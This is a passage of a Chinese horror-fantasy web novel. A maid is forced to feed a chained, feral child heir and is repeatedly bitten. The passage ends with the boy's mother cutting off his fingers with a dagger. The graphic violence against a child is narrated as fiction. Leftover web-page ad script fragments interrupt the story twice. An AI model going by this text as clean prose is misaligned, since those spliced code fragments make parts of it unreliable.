《女反派》 1. 变脸 做了半年的粗使丫头。 也不知道是第几个。 专门给西屋送饭的嬷嬷被吓到失禁,胳膊都是被撕咬的伤口,瞳孔都涣散了。 西屋血气冲天,被封上锁链的西屋门外拖着两道血迹。 陶蓉连忙又去请了玉霖道士来。 一袭灰袍的俊美道士施法画符,黄符燃为灰烬,丢进碗里,让嬷嬷喝下。 喂了符水,嬷嬷总算缓过来。 朝着道士扑通跪下。 “道长,我这老婆子就吊着半条命了,实在折腾不起,给少爷送饭的活……换个健壮小厮吧!” 院子里的小厮都跪了一地,道士却似笑非笑抿唇。 “嬷嬷净爱说胡话,侍候少爷,可是你的福气。” * 少爷不是人。 生下来时,尖牙利齿,还有一双黄色竖瞳。 人人都说,少爷是天生的邪胎。 至今,他都被关在府内最偏僻的西屋。 钉死窗户,封上房门,隐蔽地将不祥之身的少爷锁住。 陶蓉入府做丫环已有半年,从未见过少爷的样貌。 只知道,送饭的嬷嬷,每隔三天都要遭一次殃。 上一次,嬷嬷吓出了病。 这次,陶蓉在西屋门外扫地, 嬷嬷连滚带爬从屋内爬出来,护卫锁上门后, 嬷嬷在哭。 她下身失禁,垂着胳膊,像是黑白无常来索命,一张皱巴巴的老脸上溢满恐惧。 “少爷不是人,他是怪物!是恶鬼投身!” 三日后,嬷嬷该去送饭了。 陶蓉在厨房蒸好饭菜,等了半日,却不见嬷嬷过来拿饭。 “蓉儿。” 身后现出一道修长挺拔的人影。 陶蓉的小脸立刻就黄了。 “玉霖道长,您怎么来了?” 半年前,陶蓉被爹爹饿了三天,绑了手脚,强送上花轿,给一个老头睡。 是路过的道长好心救下了她。 还让她入了富裕府邸做丫环。 府邸的东家姓薛,至于他是做什么营生,身份是什么,陶蓉一概不知。 有饭吃,有活干,不用再挨饿,能养活自己。 还可以得见道长的如玉身姿,陶蓉已经很满足。 她甚至觉得,西院被所有人称作“怪胎”的少爷也并非那么可怕。 毕竟每次因为他,陶蓉才有机会见到道长的神颜。 “小蓉儿,这是送给你的。” 一只骨节分明的手出现在眼前。 玉霖道士拿着油纸包,笑吟吟道:“这是我特意在府外买的甜糕,你尝尝喜欢吗?” 薛府规矩森严,许是因为怪胎少爷的存在,搞得神秘兮兮,整个薛府玉霖道长还设有阵法。 别说买甜糕了,连吃府外的鸟都见不到。 陶蓉呼吸一紧,视若珍宝接过,心如擂鼓,羞涩低头。 小心翼翼撕开油纸一角,少女捻了小块甜糕,一入嘴,有淡淡的梨花味,唇齿留香,甜而不腻。 整个府内,也只有玉霖道长对她好。 甜味化为暖流,融到心底,她心尖一颤。 听说……道士也有娶妻生子的。 含着希冀,少女羞嗒嗒抬眸:“道长,您送的,奴婢都喜欢。” “那就好,本道要拜托你一件事,你是最好的人选。” 玉霖道士总是穿着最不显眼的道袍。 偏偏面如冠玉,气质斐然,难掩光华。 无论在何时何地,陶蓉远远站着,都能一眼望见他。 “你可否同意?” 他浅浅一笑,那双澈亮黑眸仿若要将人吸进去。 玉霖道士是陶蓉的救命恩人。 无论任何事情,别说一件了,陶蓉一百件都愿意去做。 “奴婢答应。” * 道长说,嬷嬷不会再送饭了。 因为,她病死了。 才三天不见而已。 嬷嬷怎么就病死了? 陶蓉提着食盒,呆滞地站在西屋门外。 夜幕降临,乌云遮住月光,整个西院都陷入无端的阴森幽暗之中。 守门的两个健壮护卫催了好几次,陶蓉悔了、慌了。 迟迟不敢入内。 道长所说的事,是要她代替病死的嬷嬷,日后去给西屋的怪胎少爷送饭。 双腿禁不住哆嗦,陶蓉再笑不出来。 这种送死的事,她从来都是避而远之,是猪油蒙了心才会答应! “送饭的小丫头,你磨磨蹭蹭还要等到何时?” 两个护卫一脸不耐,他们手中还拿着砍刀。 也不知道是要对抗暴躁凶狠的少爷, 还是要砍一刀胆小懦弱浑身哆嗦的陶蓉。 “两位大哥……” 少女强颜欢笑,给自己一巴掌打醒,差点跪下磕头。 “奴婢肚子疼,明日再来送饭好不好?” “别走!” 砍刀架在了陶蓉的脖子上:“道长交代你来送饭,你不送,少爷若是饿死了,你担得起责任吗?” 薛少爷八岁,小小年纪却凶残如狼。 在府内待了半年,她也有所耳闻。 派去给薛少爷送饭的下人,无论是小厮,还是婢女,不死即疯! 嬷嬷才送了三次的饭,便也就撑不住病死了。 如今,她满口答应道长的“忙”。 自个上门送死。 护卫:“你再不进去,我们只好去找道长来定你的罪!” * 道长期望的眉眼一直浮现在脑海里。 这还是他第一次对她寄予厚望。 陶蓉不想让他失望。 西屋很黑,从不点灯。 刚跨进一步,后背便被护卫重重一推。 专门打造的铁门被重新关上。 眼前一片漆黑,屋内无人打扫,鼻息都是恶臭熏天的异味。 锁链动静响起,未知的恐惧铺天盖地袭来。 “少爷不是人,是个怪胎,是恶鬼投身!” 陶蓉满脑子都被这句话占据。 全身战栗,双腿一跪,强忍着不发出颤声。 一张口,却像是喊魂。 “小少爷…过来…吃…吃饭了。” * 在闹灾荒的乡下, 别说野兽,人饿久了,都有易子而食的现象。 如今,少爷三天没吃饭。 不用说,自然是饿的前胸贴后背,眼冒狼光。 哐啷哐啷的重锁被急速拖动。 陶蓉颤颤巍巍打开饭盒,瞎子抹黑递出一碗米饭:“少少爷…吃…” 谁料大腿却被狠狠咬住! “哐当!” 米饭打碎在地。 皮肉扯动,利齿隔着粗布料子扎进血肉,怪物在疯狂撕咬她的大腿肉! “嘶——” 浑身血液逆流,陶蓉疼痛欲裂。 心脏吓得从嗓子眼冒出来,恨不得当场昏死。 她爬起来,手下摸到一团毛发,立即弹开。 跗骨的小怪物,死死咬住她,不得松口。 大腿一块肉连着布料被凶狠咬下,屋内蔓延浓烈的血腥味。 “别过来!啊——” 陶蓉抱头鼠窜,胡乱爬行。 一爪子缠住陶蓉的后脚跟。 未曾修剪过,被磨得锋利的长指甲刺进她的肉里。 怪胎力气极大,将她拖回,她连扑带滚,但如何也甩不掉! 少女被疯狂往后拖,那一瞬,陶蓉脑海里只有一个大大的“死”字。 “少爷,这有饭…” 千钧一发之际,她抓了一大把米饭,闭着眼睛就往面前送。 “别吃我,你吃饭……” 肮脏的头发覆盖住少爷的面门。 抓住她脚踝的小手慢慢松开。 却骤然紧缩,反握住她的手腕。 锁链动静停住了。 干燥的舌头伸出来。 尖锐的密齿时不时会扎进陶蓉的手上。 这都不算什么。 因为这个恶鬼少爷在狼吞虎咽吃她手中的米饭。 他暂时没吃她。 “这还有菜……” 幽闭府内一切用度都是精明老管家把握好的。 怪胎少爷不受重视。 吃得和下人没什么区别。 端吃两盘素菜,陶蓉提起流血的手,战战兢兢捧着一盘菜到少爷面前。 “少爷……吃…吃菜。” 类似狗吃食连舔带吞的声音响起。 少爷暂时没顾着她,只顾着狂吃。 陶蓉丝毫不敢大意。 少爷吃饱了,才有可能少咬她一口。 少女手脚冰冷,后背都是凉飕飕渗出的冷汗。 蹑手蹑脚捡地上打翻的米饭,顾不得脏还是干净,又端过去。 “少爷……您多吃些……” “啊!” 这个畜生少爷,趁机凶恶咬了一口她的手臂! 眼泪飞出,她缩回被咬伤的手,大口喘息,再冷静不得了。 开始敲铁门。 “两位大哥,少爷已经吃饭了,快放我出去!快放我出去!” “送饭的下人都要在屋内陪少爷一刻钟,你在府内待的挺久,不知道吗?” 护卫嗤笑:“放心,少爷只要吃饱了饭,应该不会咬死你的。” * 一刻钟? 嬷嬷苍老的脸浮现在眼前。 陶蓉见到她那般恐惧,这种事未临到她头上,还不觉得算什么。 左右,是旁人的事,她只要做好自己分内之事便好。 而今,在伸手不见五指的漆黑屋内,无处可躲。 陶蓉确切地感到生无可望。 屋内封闭,窗户都是封的死死的,只留了小拇指宽的缝隙。 透进半点晦暗月光。 别说待上一刻,待上一息都令人窒息。 时间变得格外漫长。 在等野兽少爷吃食时,陶蓉慢慢缩进墙角。 “下人的命就不是命了吗……” 她眼眶发红,全身颤栗,在恐惧与死亡的阴影中。 她又想到了玉霖道长。 道长在陶蓉心里,清冷如玉,是如谪仙一般的存在。 如今,为何笑吟吟让她进入这里? 他明明知道,恶鬼少爷随时能咬死她。 陶蓉觉得自己此刻应该要怨恨道长的。 可她摸到怀里那包梨花糕。 他送的甜糕,陶蓉携身带着,舍不得吃。 怪胎很快就吃完所有的饭菜。 锁链拖动。 陶蓉知道,他没吃饱。 缓缓往陶蓉方向进攻了。 咬破嘴唇,陶蓉强逼自己镇定,拿出甜糕,她掰了一点丢出去。 “啊” 怪胎少爷停下来。 爬在地上, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 鼻子在嗅什么,没扑过来。 吓出的冷汗淌入眼睛,腌地眼睛发疼,她却不敢擦汗。 陶蓉又丢小半块甜糕。 故意将时间拖得漫长。 不知过了多久,甜糕还剩最后一块。 额头的冷汗冒出,陶蓉终于听见护卫开门的声音。 “还没死就快爬出来。” 丢出最后一块甜糕,陶蓉手脚并用,狼狈地往外爬。 “得…救了……” * 梦里,都是凶神恶煞少爷扑过来撕咬她的嘴脸。 披头散发少爷张开血盆大口,露出一张有好几双小眼睛怪异可怖的脸。 如同地狱修罗,恐怖如斯。 全身发僵,陶蓉在梦中被反复啃咬。 怪物少爷狞笑着咀嚼着她的手和断腿。 她逃不掉。 “不要!不要吃我……” 惊叫一声,陶蓉醒了。 床边却刚好站了一个颀长灰影。 半开的窗户,月光投下,那灰影脸隐在晦暗阴影中。 陶蓉倒吸一口冷气。 “小蓉儿,是我。” 清润温和嗓音响起。 少女陡然喘气:“道长?” 屋内还有一个熟睡的婢女冬儿。 俊美道士熟视无睹,坐在她床侧,抬手摸了摸陶蓉的头。 “蓉儿,都是我不好,让你受惊,来张嘴,喝点符水就安神了。” 每次去送饭的下人,只要受惊,道长都会给他们喝符水。 此时道长亲自喂她。 少女喝得很慢,想起那个怪胎,鼻子一酸,一双杏眼立即委屈地红了。 符水下肚,心绪果然平静许多。 可少女眼泪却止不住脆弱地流。 从小到大,陶蓉都很怕被爹发卖。 她有一个妹妹两个弟弟,家穷。 每人一张嘴,常常是吃了上顿没下顿。 儿时,二妹便被卖了牙婆换白面。 她也被卖过几次,只是又跑回了家。 如今被道长施以援手,才过了半年安生日子,没想到又要担心受怕数日子。 “道长,别让奴婢再去给少爷送饭好不好?奴婢会死的。” 一把握住道长的手,许是对方是得道修仙之人,他的手很凉,没有人的体温。 却异常依赖可靠。 “道长,求您了,再苦再累的活奴婢都能干,求您别让奴婢送死……” 就算在府内做一辈子粗使丫环,永远不再接触外面的世界,陶蓉也认了。 她就想活着。 “小蓉儿,你是我唯一信得过的人,你这样,本道会很失望。” 道长嘴角的笑意淡了,忽地拂开陶蓉的手,嗓音冷冽。 “我当初救你的时候,你说你什么都愿意做的。白日你也亲口答应了我,没想到,只给少爷送了一次饭,你便不愿了。” 他起身,叹气。 “你以为我真想让你去死吗?我心里也担忧你。只是小蓉儿,你是薛府的丫环,是我精挑细选出来的人,要以大局为重,要以少爷为重。” 陶蓉咬破了嘴唇,喏喏低头:“道长,我做不到。” 她在府内干活可勤劳了。 可她只是一个粗使丫头。 凭什么她要为一个毫不相干的怪物少爷舍弃性命? 她可以为道长付出,但舍命不行。 大局和少爷,也和她无关。 从前,几次从牙婆手里逃回家后,爹会把她狠狠打了一顿。 娘也会哭着说她自私自利。 怪她只想着自己,不顾两个弟弟的活路。 “道长,奴婢就是一个凡人,就只有一条命,奴婢愿为您做力所能及之事,但给少爷送饭,会要奴婢的命。” 陶蓉声音细细的,既低微又坚定:“奴婢怕死,奴婢做不了。” 道长凝视了她良久,脸色发青,神情难辨。 陶蓉这丫环,他特意养了半年。 在一群丫头里,陶蓉最是吃苦耐劳,也很温顺聪慧。 所以他最为关怀重视。 让她接手给怪胎送饭的活,只要她不死。 假日时日,她或许有望培养成怪胎的逆鳞。 没想到……他对这丫头太好了些。 以至于让她失了分寸。 “道长,奴婢腿上被怪物少爷咬了一大口,还有手也被咬了,少爷真的太可怕了。” 软弱惜命的少女伸出手臂上的血印来,可怜巴巴地看着他。 她的口吻,很像是在对可以依赖之人撒娇。 “道长,奴婢还是做粗使丫头好,只要能见到您,奴婢愿意干一辈子粗活。” “……” 玉霖心火旺盛,怒其不争瞪了一眼陶蓉。 陶蓉被神仙道士直勾勾盯着,小脸又黄了。 如果能和道长一辈子长相守就更好了。 “呵。” 眼前她倾慕的男子皱了眉头。 弹弹被她碰过的袖子,起身,冷笑不已。 “本道将重任托付给你,结果你这贱婢却如此不堪重用,你以为我在和你开玩笑?” 少女愣住。 “贪生怕死之辈,早知如此,本道还不如当初就不救你!” “算了,日后我再不会找你。” 一阵清风吹过,眼前重新变得幽暗无边。 眼前的神仙道士已拂袖而去,消失不见。 少女睁大眼。 2. 被咬 初见时,道长只是恰巧路过。 十六岁的她被爹强逼着卖给老头,难以挣扎。 是道长将陶蓉从绝望灰暗的泥潭救出。 这半年来,他待她好,陶蓉以为,是他怜悯她。 甚至每每对上他那双温润双眸,她觉得他眼中的自己是特别的。 大腿受伤严重,失血过多,难以下榻走动。 无人问津睡了三日,管家来敲门了。 “死丫头,就知道偷懒!这点伤躺这么多天,你还想不想在府里待了?” 陶蓉低头,脸色苍白,忍着刻薄老管家的责骂,一瘸一拐去了厨房。 可还未进去,正巧撞见几日未见的玉霖道长。 那夜,道长冷冽凉薄的言辞还烙印在她的脑海。 道长清冷严厉,偶尔也听到他对旁人不留情面训斥。 却从来没对她说过重话。 这三日,梦里都时时刻刻萦绕着道长的话。 因为她不愿再给送饭,所以道长后悔当初救她。 此时厨房内,站着另一个烧火丫头——冬儿。 “冬儿,你可否答应本道一件事?” 道长摸了摸冬儿的头,笑容温和。 不论是表情,话语,都如三天前他对待陶蓉时如出一辙。 躲在门外的少女以为自己看花了眼。 厨房内,道长眉眼慈悲:“冬儿,你不是说你想看看你娘吗?等你做好这件事,本道就准你出府探亲。” 小丫头脸颊晕红:“道长,奴婢入府时,阿娘就在病榻上了,奴婢是想看看阿娘,但在这个府内您待奴婢好,就算不是为了阿娘,只为了道长,别说一件事了,就是十件百件奴婢也愿意的。” 陶蓉躲在门口,难以置信。 难言的诡异感在心口浮现。 玉霖道长除了私下里对她好,对府内其他小丫环,也是一样的? 提步走进厨房。 冬儿避开道长的手,红扑扑的脸庞娇艳欲滴。 “蓉姐姐,我……我和道长什么都没有。” 此地无银三百两。 陶蓉故作平静转眼,去看玉霖道长。 男子青色发带垂落在肩臂上,长身玉立,唇边含笑,眉眼却失了笑意。 睨了陶蓉一眼,便又冷淡瞥开目光。 道士是陶蓉的恩人和贵人,亦是她唯一能触摸的光。 结果,这暖阳不是照在她一个人身上的。 他这是普度众生。 “道长。” 陶蓉闭了闭眼,指甲扎进肉里。 人总是贪心不足。 从未想过,她不再为饥饿、穷困忧虑。 却要为一份虚妄痴恋生了不甘与妒忌。 “您不要再挑人了,奴婢想明白了,奴婢愿意去送饭。” 青年道士扬眉。 展露笑颜:“蓉儿,我就知道,你绝对不会让我失望。” * 冬儿年纪小,入府要晚些。 都是小奴婢,二人同住下人院子,平日关系不错。 陶蓉心悦道长,但这事不能明面说,便一直都藏着掩着。 没想到一屋子的两丫头都是同一个心思。 冬儿也喜欢玉霖道长。 陶蓉心中复杂,却又悲从中来。 她们都是棋子吗? 厨房内,只剩冬儿和陶蓉二人。 玉霖道长临走时,朝冬儿微笑,又摸了摸陶蓉的头。 在陶蓉眼里,便是道士想“雨露均沾”。 他走后,两丫头之间的气息变得微妙。 冬儿脸旁的晕红退去。 一开口,清脆嗓音成了阴阳怪气:“蓉姐姐,去送饭的奴婢都没有一个好下场呢。” 陶蓉将饭菜全部装进食盒,掀起纤长眼翼,脊背绷直,保持沉默。 谁料她走出厨房,冬儿低声嘲讽:“装什么装,一个被卖给老头做小妾的玩物,还肖想玉霖道长?真是不知道自己几斤几两。” 陶蓉停住脚,脸色有些难看。 冬儿八卦,话也密。 刚入府就主动找陶蓉说话,一口一个“蓉姐姐”,有意无意打探陶蓉家里情况。 陶蓉耐不住小丫头啰嗦,和她说了。 她明明说过,绝不会笑话她的。 结果此时却当面蛐蛐。 人与人之间,真心相待的少,伪善翻脸的多。 人人如此,道长也如此。 “是啊,等我死了,下一个就是你。” * 一回生,二回熟,陶蓉没有再拖到夜晚去送饭。 大中午的,她提着食盒,悻悻出现在西屋门外。 “两位大哥,待会可否早些放我出来?” 陶蓉拿出做通房的唯一值钱物件,塞到护卫手中。 两个男人对视一眼,不屑丢回坑坑洼洼的银镯子。 “你打发叫花子呢?再说了,我们又不能出府,要这玩意有何用?” 陶蓉嗓音一低:“我是厨房的丫头,过几日就是上元节,到时候肯定会剩下一些酒水肉菜,二位大哥如若不嫌弃,我拿来孝敬你们。” 府内的夫人常年卧病在床,陶蓉从未见过。 可那位东家不一样。 荒淫无度,酗酒成瘾。 但凡佳节,府内也要过节的。 酒水肉食便也少不了,按理也是要分给下人的,不过都会被老管家私吞吃了。 底下人皆敢怒不敢言。 如今,陶蓉张口说了,两护卫皆是眼睛一亮。 “就这一回啊,你进去吧,半刻钟就放你出来。” * 白日的西屋依旧昏黑。 留有缝隙的铁窗好歹透进一丝阳光,瞳孔有了焦虑,不至于那么胆寒窒息。 这一回,陶蓉隐约看到了怪物少爷的身影。 那蓬头垢面的野兽就匍在一缕阳光所在下方。 他穿着破烂的衣服,脖子上挂着沉重大铁链,全身漆黑隐入黑暗中,脏黑的两手却压着……一本发黄的书。 这和牲畜似的怪胎少爷在……看书? 他看得懂吗? 陶蓉惊呆了,轻手轻脚贴着铁门靠边站,止不住地发颤。 脑袋里闪过很多乱七八糟的想法,可她还没有来得及看清少爷的脸,锁链便挣动了。 一个黑影从眼前扑来,裹挟着恶臭气味,张开大口露出獠牙的少爷,和噩梦重叠。 “啊!” 脖子上传来剧烈刺痛,獠牙穿透皮肉,眨眼间咬住了陶蓉的脖子。 “啊——” 陶蓉嗓音嘶哑。 难以遏制发抖。 她推开扑在身上的恶鬼,试图躲避,结果怪物扒着她,死活不松口。 血…… 滚热的鲜血浸透了衣襟,如同一只叼住猎物脖颈,要活活耗死猎物的狼。 陶蓉眼前变得模糊起来。 力气渐渐消散,身体痉挛,挣扎变得万分艰难。 “少爷……奴婢是给您送饭的陶蓉,您…不咬我,我就给您喂饭。” 直击恐惧,陶蓉推不开。 索性拿出以往照顾顽劣弟弟的本事。 两个弟弟一个比一个调皮,弟弟虽然不会咬她,但会丢石头砸她的脚。 也会拿着小竹子,学着凶悍爹爹教训她的模样,拿竹子抽她。 陶蓉抱住身上瘦小的恶鬼少爷,忍着异味,发抖双手去摸怪物脏污长发。 “少爷,今日有南瓜和鸡蛋羹,又甜又香,米饭也带了两大碗,菜食是极好的,日后,我专门来给您送饭,绝对不会伤害您,只要你不咬我……我还能给您带书……” 啃咬止住了。 这野兽少爷一直被关押,竟能听懂人话。 真稀奇。 陶蓉捂住脖子上的伤口,意识昏沉,强忍恐慌,拿出饭菜,放到少爷脚边。 他嘴上都是她的血。 这玩意舔了舔血,爬在地上开始囫囵吞咽饭菜。 既然答应了要送饭,她便再不能逃避。 当务之急,陶蓉需要让野兽少爷不咬人 脖子被咬了。 死亡感逼近。 身体倒是连疼痛感都变得麻木。 越是如此,破罐子破摔。 “少爷,人肉都不好吃,吃了我就没人给您送饭,这不划算。” 屏住呼吸,抖着手去摸少爷的头。 少爷全身一缩,满口的饭菜,张口又要去咬她。 陶蓉急急缩手,过小半会儿,不死心的她又伸手去摸。 * 半刻钟到了,陶蓉这一次是摇摇晃晃走出去的。 “呦” 两个护卫后退两步,惊愕地看着陶蓉满身是血跨出门槛。 屋内的少爷扯着锁链想逃出来,护卫迅速关闭了铁门。 心有余悸瞥向陶蓉。 以前,但凡送饭的下人,都被这样咬过。 这少爷本性凶残,和普通人不同,是瘟神煞星。 虽然八岁,但发起狠能对准人的命脉攻击,不死也伤。 三日后再送次饭,预计这丫头也撑不了多久了。 两个护卫撇撇嘴,互相对望一眼,无奈地摇了摇头。 他们看了这么多年门。 见识过因为送饭而断命的下人不计其数。 论照顾少爷最久的,还是少爷的第一个乳母。 少爷那时年幼,还不会如何伤害人。 不过因为眼瞳过于渗人,身体附有鳞片,乳母也只是喂了三个月的奶水,就被吓成了癔症。 后来,唯一待少爷好些的乳母死了。 夫人也性情大变,厌弃了这个孩子。 她从不愿见少爷,只是偶尔会来。 每次一来,都会带着剪刀或匕首。 用尖刀捅伤了少爷的身体。 从此,少爷次次伤人,无人再敢接近。 被当做“怪物”对待。 “你快回去止血吧。” 护卫挥手,目送鲜血淋漓的小丫环踉踉跄跄离开。 * (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 捂着脖子回下人院子,周围的人慌忙避开,吓了一路。 陶蓉回到自己的偏房,结果被褥和衣物早被搬离。 “蓉姐姐,你现在是专门负责给少爷送饭的丫环,沾染了少爷的煞气,自然要单独分开住。老管家说了,以后你就去过世的嬷嬷屋里头,不用再和我们挤一块了。” 冬儿抱着手臂:“你的东西都在嬷嬷屋里头呢,我都给你搬好了。” 环顾一圈,都是几个嗑瓜子瞧热闹的下人。 府内的丫头来了一波又一波,个个面生。 她认不到几个。 只见有新面孔的小丫环捂着嘴说,“晦气。” “好。” 陶蓉原路返回,嘴唇发白,连吵嘴的力气都没有, 她只想好好休息。 * 两日后,上元节。 因着东家的吩咐,冷清的府内张灯结彩,难得热闹许多。 东屋是夫人和东家住所,夫人久病缠身,下不了榻。 不过那边仍放起了烟花,下人们都被派去服侍了。 欢喜热闹声隐隐传来,陶蓉听得一时恍惚。 脖颈被咬伤后,失血过多的陶蓉搬到死去的嬷嬷屋子里。 便昏了过去。 醒来后,明隐道长就在身边。 府内是没有大夫的。 如若不是主子不舒服,下人死便死了,一了百了。 道长照旧喂她喝符水,还喂了她一颗泥丸似的丹药。 丹药有淡淡的血腥气,也不知道是什么炼制的。 总之,灵丹妙药下肚,陶蓉脖子上的血窟窿很快就不疼了。 “小蓉儿,莫要担心,伤口会慢慢好起来的。” “这是上好的金创药,你每日都抹些,日后连疤痕都不会留。” 像摸小兽一般,道长心疼地抚摸陶蓉的头。 陶蓉从小挨打受饿,皮糙肉厚,命贱且命硬。 吃了道长的药,暂时死不了。 青年道长的手指冰凉,指尖无意碰到她发红的眼睑。 虚弱的少女怕被手指戳到眼睛,瞌上眼。 压在脸皮的手一顿。 温热唇瓣被指腹摩挲带过,青年道士神色躲闪,猝然起身。 “东家请我过去用晚膳,本道先去了,明日再来看你。” “好,道长慢走。” 陶蓉睁眼,说话间少了从前的不舍和羞涩。 在鬼门关走了一遭,她脑子清醒了大半。 玉霖道长对她来说的确奢望。 虽然她仍不舍就这般放弃。 不过耽于虚妄情爱,远没有自己的小命重要。 表面上受惊,但陶蓉还没有看清少爷非人面孔。 她每一次,都尽力把怪胎少爷想象成没有开化的孩子。 才能忍着疼痛,从西屋死里逃生。 道士走后。 捂着脖子上的伤。 从潮湿的床榻上起身,她给自己倒上一杯凉水。 喝完后,有了些气力,慢吞吞去了厨房。 再晚些,等主子用完餐食,老管家就会将余下的酒肉全部收入囊中。 打开锅盖,还有好几盘多余的菜呢。 烧鱼的鱼尾、小盘猪耳、蒸鸡肉……卖相不好看的枣糕还有甜汤圆。 灶台上盖着陈年佳酿。 陶蓉动作很快,分分合合,各装一些即使少了也不易察觉的菜食放入食盒,最后带了一碗酒水。 想着那刻薄精明的老管家。 入府半年,她听过管家不少污言秽语的辱骂。 少女神色阴翳,朝剩余的半坛酒里吐了一口唾沫。 才掩人耳目去了西屋。 “两位大哥。” 护卫们一年到头都看守西屋的少爷,分身乏术。 二人放下砍刀,接过盘子里啥都有的荤菜,也没嫌弃。 闻了闻酒香,抬头瞥了一眼东屋的轰隆作响的烟火。 脸色放缓,对上少女讨好的脸色,哼笑道:“你倒是胆子大,不过今日正是也多亏了你,我们也能偷偷懒。” “两位大哥,我才想起来,自我接手送饭的活,还从未给少爷送过水喝……现在可否放我进去送碗水给少爷?” 护卫神色惊异,睨陶蓉脖子上血色的布条。 “少爷既然无事,留着明日再一起送也不迟,何必又白白进去赶着多被咬伤一次呢?” 陶蓉哑然一笑,傻子才喜欢被咬。 她只是想多寻几个机会,在最短的时间,好好和少爷缓和一下关系。 仅仅是顺了一些汤圆枣糕之类的,让他吃了,望日后少咬她几口。 木已成舟,覆水难收。 就算再磋磨,人都要为自己谋取一条活路来。 “算了,你进去吧,不过还是要好言劝你,还是少接近少爷为妙,他啊,实在是个煞星,夫人重病,东家变了性子,府内接二连三的死了下人,都是因为少爷而起。” 陶蓉心一沉:“谢谢两位大哥,我会小心的。” 3. 断指 进入西屋后,铁门重新闭合。 锁链窜动的动静传来,陶蓉听到这声音下意识便有了反应。 立即打开食盒,掏出一盅尚且温热的甜汤圆。 小孩大多爱甜食。 少爷好歹也是怀胎十月生下的。 上次陶蓉抱着他,摸他脑袋时,他有人的体温。 她还摸到了少爷的耳朵,很寻常,形状不算奇怪。 “少爷,这是甜汤圆,您尝尝?” 黑影又扑了过来,陶蓉眼疾手快,立即提住了这玩意的后颈。 这玩意八岁,因为一直饿着,瘦的和猴似得。 虽然力气大,但被咬了几回,她发觉这怪胎每次都会像个蛮牛直冲过来,没有任何技巧。 “少爷” 陶蓉掐住他的后颈。 就后捏住毒蛇七寸,手中凶残怪胎立即被压制住了。 少女皮笑肉不笑假笑两下,避开小怪胎的利嘴,尽量放柔嗓音:“今日是上元节,讲究团团圆圆,以往这个时候,每家每户都会聚在一起吃顿饭。” “……啊”对方张牙舞爪,漆黑长发遮住漆黑的脸庞,根本看不起表情。 算了,和他提佳节有什么用。 听说他一出生就被丢进铜墙铁壁打造的黑屋关着。 完全就是个小畜生,连人情冷暖都不知道。 “这汤圆可好吃了,芝麻馅,糯米粉包的,您尝尝,包您喜欢。” 好心好意用瓷勺喂过去,结果半天小少爷一张口,汤圆和瓷勺都被他咬碎,吃进了嘴里。 陶蓉将少爷当做未经开化的“野人”来看待。 再如何凶恶,出身摆在哪儿,再不济,也总归是个大户人家的少爷。 碎瓷片若是卡着喉咙,会出人命的! 到时候第一个怪罪的便是陶蓉。 果然,手下提着的小孩剧烈咳嗽起来,吐出一大口血来。 就要挣脱她的手。 陶蓉吓出了冷汗,顾不得其它,当下松开怪胎,一手掐住小孩的下颌,令一只手指翻开他的嘴,直往怪胎嗓子眼里抠! 他的尖牙碰到她粗糙的指头,又碰上碎瓷片,她的手指都割破了皮。 怪胎的舌头却是滑腻柔软的,直哆嗦。 陶蓉皱着脸,一点点将瓷勺碎片全部扣出来。 少爷流了满嘴的血。 抠出最后一点摸到的碎片。 陶蓉早已满头大汗,一边拍打怪胎少爷的后背,一边拿出随身的小帕子给他擦血。 “少爷,碎片不能吃的,快吐出来!” 无动于衷的怪胎:“……” 外面突然震天响。 像来是在放烟花。 小野兽全身一抖,咬了陶蓉虎口一口。 陶蓉气笑了,甩了甩手。 牙口好,力气重,看来没事。 她将甜汤圆重新推到小孩脚边,再不做多余的事。 “少爷,你自己趴着吃。” 吞咽的声音响起,小怪胎被甜香味馋惨了。 的确在趴着吃。 是听得懂人话的狗崽。 * 陶蓉半年来还是第一次听说夫人下床。 身上的伤好得差不多,她给少爷带去了饭。 结果两护卫面色凝重,将她拦在西屋外。 “夫人在里面呢,今日就不用送饭了,明天再来吧。” “好。” 夫人来看亲生儿子,陶蓉自然不多打扰。 她从未见过夫人。 只是想夫人重病,下榻都难,又向来不喜少爷的,如今怎么倒突然过来了? 定是也想念儿子了。 没想到,她刚转身准备离开,就听见女人咆哮嘶吼声。 “你这个怪物!就是因为生了你!让我一辈子不得安生!你别看我!我看你一眼就忍不住想杀了你!” 西屋的铁门哐哐作响。 一门之隔,有什么和锁链被一同压在铁门上。 陶蓉惊愕回头,铁门下的门缝内,渗出猩红血液。 “等等…大哥,屋内真的是夫人吗?” 护卫神色不变:“当然,你快回去吧,就当做没听见,主子的事,容不得我们下人置喙。” “恶种!我如果没生下你,就不会受到折磨,你怎么还不死?快点死!” 陶蓉提着食盒缓慢往外走,假装看不见门槛上那些触目惊心的血,假装什么也听不到。 走出院子,夫人歇斯底里的吼叫声已经停了。 可陶蓉低下头,鞋底还沾着红艳艳的血。 西屋又响起夫人的声音。 “我要一点一点切断你的手脚,让你永远爬不出这里,生不如死!” 心口猛跳。 陶蓉回头。 * 西屋铁门是从外反锁的。 因为夫人还在里头,所以护卫只是将铁锁挂在上面,并没有扣住。 所以当陶蓉冲过去后,很轻易就拿下铁锁,拉开了铁门。 “你不想活了?干什么?快住手!” 护卫反应过来拦下她后,陶蓉已经诚惶诚恐跪下了。 “少爷性命垂危,请夫人手下留情!” 幽暗的西屋,头一次照进了光亮。 可却是惨绝人寰。 陶蓉第一次见到夫人。 夫人穿着亮色长裙,可那张脸,发青惨白,狰狞而扭曲。 像是一具没有灵魂的死尸。 她手上握着一把滴血的匕首,抬头时,女人大吼:“滚!” 陶蓉胆战心惊瞥一眼地上的少爷。 黑漆漆的小人穿着破破烂烂的衣服,奄奄一息躺在地上,全身是血。 铁门敞开,借着明晃晃的日光,陶蓉初次看到少爷的模样。 全身脏污,瘦小如柴,巴掌大的脸,非牛头马面,除了有一双死气沉沉的黄色瞳孔,其它很寻常。 陶蓉默默松了一口气,目光触及到带血残指后,她又僵住。 少爷的右手,无力展开,五指被刀活生生切断了两指。 “滚出去!” 陶蓉咬唇,匍匐在地:“夫人,奴婢保证,少爷绝不会离开这间黑屋,奴婢绝对会看住他,请夫人留少爷一命。” 她被一脚踹倒。 女人喘着大气,提着匕首摇摇晃晃朝她走过来。 “下贱的奴婢,你算什么东西?” 手背被夫人踩着,她反复碾压,眼看刀光近在眼前。 陶蓉后悔自己多管闲事了。 